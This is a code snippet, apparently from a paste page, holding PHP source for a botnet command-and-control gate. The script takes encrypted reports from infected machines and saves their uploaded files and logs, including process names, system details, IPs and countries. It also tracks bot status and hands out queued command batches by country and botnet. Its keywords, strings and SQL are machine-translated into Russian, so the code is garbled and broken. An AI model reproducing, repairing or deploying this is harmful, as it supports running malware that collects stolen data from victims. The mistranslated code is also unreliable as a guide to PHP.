class= " lineNumbers "
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
120:
121:
122:
123:
124:
125:
126:
127:
128:
129:
130:
131:
132:
133:
134:
135:
136:
137:
138:
139:
140:
141:
142:
143:
144:
145:
146:
147:
148:
149:
150:
151:
152:
153:
154:
155:
156:
157:
158:
159:
160:
161:
162:
163:
164:
165:
166:
167:
168:
169:
170:
171:
172:
173:
174:
175:
176:
177:
178:
179:
180:
181:
182:
183:
184:
185:
186:
187:
188:
189:
190:
191:
192:
193:
194:
195:
196:
197:
198:
199:
200:
201:
202:
203:
204:
205:
206:
207:
208:
209:
210:
211:
212:
213:
214:
215:
216:
217:
218:
219:
220:
221:
222:
223:
224:
225:
226:
227:
228:
229:
230:
231:
|
class=
>< " class= " id= " codeSnippet835002 =»». $ip. «'&& ПРЕДЕЛА 1»)) ($m = mysql_fetch_row ($r))! == ложное)
{
возвращенное $m [0];
}
возвратите «--»;
}
touint функции ($str)
{
$q = @unpack («l», $str);
если (is_array && ($q) is_numeric, то ($q [1]))
{
возвращенное $q [1];
}
возвращение 0;
}
toint функции ($str)
{
$q = @unpack («l», $str);
если (is_array && ($q) is_numeric, то ($q [1]))
{
возвращенное $q [1];
}
возвращение 0;
}
toushort функции ($str)
{
$q = @unpack («s», $str);
если (is_array && ($q) is_numeric, то ($q [1]))
{
возвращенное $q [1];
}
возвращение 0;
}
определите («__REPORT», «1»);
если ($_SERVER, то [«REQUEST_METHOD»]! == «СТОЛБ»)
{
выход ();
}
require_once («система/global.php»);
require_once («система/config.php»);
$data = @file_get_contents («php: //input»);
$data_size = @strlen ($data);
если ($data_size < HEADER_SIZE + ITEM_HEADER_SIZE), то
{
выход ();
}
$data = rc4 ($data, BIN_CRYPTKEY);
если (strcmp (md5 (substr ($data, HEADER_SIZE), true), substr ($data, HEADER_MD5, 16))! == 0)
{
выход ();
}
$list = блок ();
$i = HEADER_SIZE;
пока ($i < $data_size)
{
$k = @unpack («L4», @substr ($data, $i, ITEM_HEADER_SIZE));
$list [$k [1]] = @substr ($data, $i + ITEM_HEADER_SIZE, $k [3]);
$i += ITEM_HEADER_SIZE + $k [3];
}
unset ($data);
если (опорожните, то ($list [SBCID_BIN_VERSION]) || опорожните ($list [SBCID_BIN_ID]))
{
выход ();
}
если (! connecttodb ())
{
выход ();
}
$bin_id = уравновешивание ($list [SBCID_BIN_ID]);
$bin_id_q = addslashes ($bin_id);
$binnet = опорожняют ($list [SBCID_BINNET])? DEFAULT_BINNET: уравновешивание ($list [SBCID_BINNET]);
$binnet_q = addslashes ($binnet);
$bin_version = touint ($list [SBCID_BIN_VERSION]);
$real_ipv4 = уравновешивание (! опорожните ($_GET [«ip»])? $_GET [«ip»]: $_SERVER [«REMOTE_ADDR»]);
$country = getcountryipv4 ();
$country_q = addslashes ($country);
$curtime = время ();
$rtime_min_online = $curtime - BIN_TIMEOUT * 60;
если (! опорожните ($list [SBCID_BATCH_STATUS]))
{
сделайте
{
mysql_query («bincmdbatches УТОЧНЕНИЯ УСТАНОВИЛИ complete=complete+1, complete_BINs=CONCAT (complete_BINs, «\ \ 0». $bin_id_q. » \ \ 0») ГДЕ batch_id='".toint ($list [SBCID_BATCH_STATUS]). » 'ПРЕДЕЛ 1 ");
file_put_contents («2», mysql_error ());
sendemptyreply ();
}
еще
{
если (! опорожните ($list [SBCID_BINLOG]) || ! опорожните ($list [SBCID_BINLOG_TYPE]))
{
$type = touint ($list [SBCID_BINLOG_TYPE]);
если (== BLT_FILE $type), то
{
$bad_exts = блок («php», «asp», «exe», «pl», «cgi», «cmd», «летучая мышь»);
$fd_hash = md5 ($list [SBCID_BINLOG]);
$file_path = str_replace («\ \», «/», «/». $BINnet. «/». $BIN_id. «/». (опорожните ($list [SBCID_PATH_DEST])? «неисвестне»: $list [SBCID_PATH_DEST]));
если (strpos, то ($file_path, «/. .") === ложное)
{
$file_path = REPORTS_PATH. «/files/». $file_path;
$inf = pathinfo ($file_path);
если (опорожните, то ($inf [«выдвижение»]))
{
$inf [«выдвижение»] = «dat»;
}
$file_path = $inf [«dirname»]. »/«.basename ($inf [«basename»],». «. $inf [«выдвижение»]). «*.». $inf [«выдвижение»];
если (array_search (strtolower ($inf [«выдвижение»]), $bad_exts)! == ложное)
{
$file_path. = «.dat»;
}
$i = 0;
для (; $i < 9999; ++$i)
{
$f = str_replace («*», == 0 $i? "": » [«. $i.»] «, $file_path);
если (file_exists, то ($f))
{
если (($fd_size = filesize ($f)) === 0 strcmp && (md5_file ($f), $fd_hash)), то
{
пролом;
если (md5_file, то ($f))
{
пролом;
}
}
еще
{
если (createdir, то ($inf [«dirname»]))
{
}
если (! ($h = fopen ($f, «wb»)))
{
выход ();
}
стая ($h, LOCK_EX);
fwrite ($h, $list [SBCID_BINLOG]);
стая ($h, LOCK_UN);
fclose ($h);
}
пролом;
}
}
}
еще если (== REPORTS_TO_DB 1)
{
$table = «reports_» .gmdate («ymd», $curtime);
$QUERY = «ВСТАВКА ЗАДЕРЖАЛО В». $table. «УСТАНОВИТЕ BIN_id='".$bin_id_q. ««, BINnet=»». $BINnet_q. ««, BIN_version=»». $BIN_version. ««, path_source=»». (опорожните ($list [SBCID_PATH_SOURCE])? "": addslashes ($list [SBCID_PATH_SOURCE])). ««, path_dest=»». (опорожните ($list [SBCID_PATH_DEST])? "": addslashes ($list [SBCID_PATH_DEST])). ««, time_system=»». (опорожните ($list [SBCID_TIME_SYSTEM])? 0: toint ($list [SBCID_TIME_SYSTEM])). ««, time_tick=»». (опорожните ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). ««, time_localbias=»». (опорожните ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). ««, os_version=»». (опорожните ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). ««, language_id=»». (опорожните ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). ««, process_name=»». (опорожните ($list [SBCID_PROCESS_NAME])? "": addslashes ($list [SBCID_PROCESS_NAME])). ««, type=»». $type. ««, ipv4=»» .addslashes ($real_ipv4). ««, country=»». $country_q. ««, rtime=»». $curtime. ««, context=»» .addslashes ($list [SBCID_BINLOG]). «'»;
если (@! mysql_query ($query) || @ (! mysql_query («СОЗДАЙТЕ ТАБЛИЦУ ЕСЛИ НЕ СУЩЕСТВУЕТ». $table. «КАК && рапортов»)! @mysql_query ($query)))
{
выход ();
}
}
еще если (== REPORTS_TO_FS 1)
{
$file_path = str_replace («\ \», «/», «/». $BINnet. «/». $real_ipv4);
если (! (strpos ($file_path, «/. .") === ложное))
{
пролом;
}
$file_path = REPORTS_PATH. «/logs/». $file_path;
если (createdir, то ($file_path))
{
}
если (! ($h = fopen ($file_path. «/». $BIN_id, «wb»)))
{
выход ();
}
стая ($h, LOCK_EX);
fwrite ($h, «bin_id=». $bin_id. » \ r \ nbinnet= ". $binnet. «\ r \ ntime_system=». (опорожните ($list [SBCID_TIME_SYSTEM])? 0: ftime («h: iий: s d.m.Y», toint ($list [SBCID_TIME_SYSTEM]))). » \ r \ ntime_tick= ". (опорожните ($list [SBCID_TIME_TICK])? 0: toint ($list [SBCID_TIME_TICK])). «\ r \ ntime_localbias=». (опорожните ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). » \ r \ nlanguage_id= ". (опорожните ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). «\ r \ nprocess_name=». (опорожните ($list [SBCID_PROCESS_NAME])? "": $list [SBCID_PROCESS_NAME]). » \ r \ ntype= ". $type. «\ r \ nipv4=». $real_ipv4. » \ r \ ncountry= ". $country. «\ r \ nrtime=» .ftime («h: iий: s d.m.Y», $curtime). » \ r \ ncontext= ". $list [SBCID_BINLOG]. «\ r \ n \ r \ n \ r \ n»);
стая ($h, LOCK_UN);
fclose ($h);
}
}
еще если (! опорожните ($list [SBCID_BIN_STATUS]))
{
$query = «BIN_id='".$bin_id_q. ««, BINnet=»». $BINnet_q. ««, BIN_version=»». $BIN_version. ««, net_latency=»». (опорожните ($list [SBCID_NET_LATENCY])? 0: touint ($list [SBCID_NET_LATENCY])). ««, port_s1=»». (опорожните ($list [SBCID_PORT_S1])? 0: toushort ($list [SBCID_PORT_S1])). ««, time_localbias=»». (опорожните ($list [SBCID_TIME_LOCALBIAS])? 0: toint ($list [SBCID_TIME_LOCALBIAS])). ««, os_version=»». (опорожните ($list [SBCID_OS_INFO])? "": addslashes ($list [SBCID_OS_INFO])). ««, language_id=»». (опорожните ($list [SBCID_LANGUAGE_ID])? 0: toushort ($list [SBCID_LANGUAGE_ID])). ««, ipv4=»» .addslashes ($real_ipv4). ««, country=»». $country_q. ««, rtime_last=»». $curtime. «'»;
если (mysql_query, то («ВСТАВКА В BINlist УСТАНОВЛЕННОЕ rtime_first='".$curtime. ««, rtime_online=» {$curtime} «, flag_install=»». (touint ($list [SBCID_BIN_STATUS]) == BS_INSTALLED? 1: 0). ««,». $query. («НА rtime_online=IF УТОЧНЕНИЯ ДВОЙНОЙ КЛЮЧА (<= rtime_last» «. $rtime_min_online. » «,» {$curtime} ', rtime_online), {$query} ")))
{
пролом;
}
выход ();
}
еще
{
выход ();
}
} пока (0);
}
$reply_data = "";
$reply_count = 0;
$BIN_id_q = tosqlsafemask ($BIN_id_q);
$BINnet_q = tosqlsafemask ($BINnet_q);
$country_q = tosqlsafemask ($country_q);
$r = @mysql_query («ОТБОРНОЕ удостоверение личности, batch_id, batch_text ОТ BINcmdbatches ГДЕ flag_disabled=0 И (send_limit=0 ИЛИ sended < send_limit) И» .(" (complete_BINs НЕ ЛЮБЯТ «% \ \ 0». $BIN_id_q. » \ \ 0%») И ").(" (countries_wl= '' ИЛИ countries_wl ЛЮБЯТ БИНАРНЫЕ «% \ \ 0 ". $country_q. «\ \ 0%») И ").(" (countries_bl НЕ ЛЮБИТ БИНАРНЫЕ «% \ \ 0». $country_q. » \ \ 0%») И ").(" (binnets_wl= '' ИЛИ binnets_wl ЛЮБЯТ БИНАРНЫЕ «% \ \ 0 ". $BINnet_q. «\ \ 0%») И ").(" (binnets_bl НЕ ЛЮБИТ БИНАРНЫЕ «% \ \ 0». $BINnet_q. » \ \ 0%») И ").(" (BINs_wl= '' ИЛИ BINs_wl ЛЮБЯТ БИНАРНЫЕ «% \ \ 0 ". $BIN_id_q. «\ \ 0%») "). «ПРЕДЕЛ 10»);
пока (&& $r ($m = mysql_fetch_row ($r)))
{
$size = strlen ($m [2]);
$reply_data. = пакет («LLLL», $m [1], 0, $size, $size). $m [2];
++$reply_count;
@mysql_query («bincmdbatches УТОЧНЕНИЯ УСТАНОВИЛИ sended=sended+1 КУДА id='".$m [0]. «'ПРЕДЕЛ 1»);
}
если (0 < $reply_count), то
{
$reply_data = пакет («LLL», HEADER_SIZE + strlen ($reply_data), 0, $reply_count) .md5 ($reply_data, поистине). $reply_data;
отголосок rc4 ($reply_data, BIN_CRYPTKEY);
выход ();
}
sendemptyreply ();
? >
|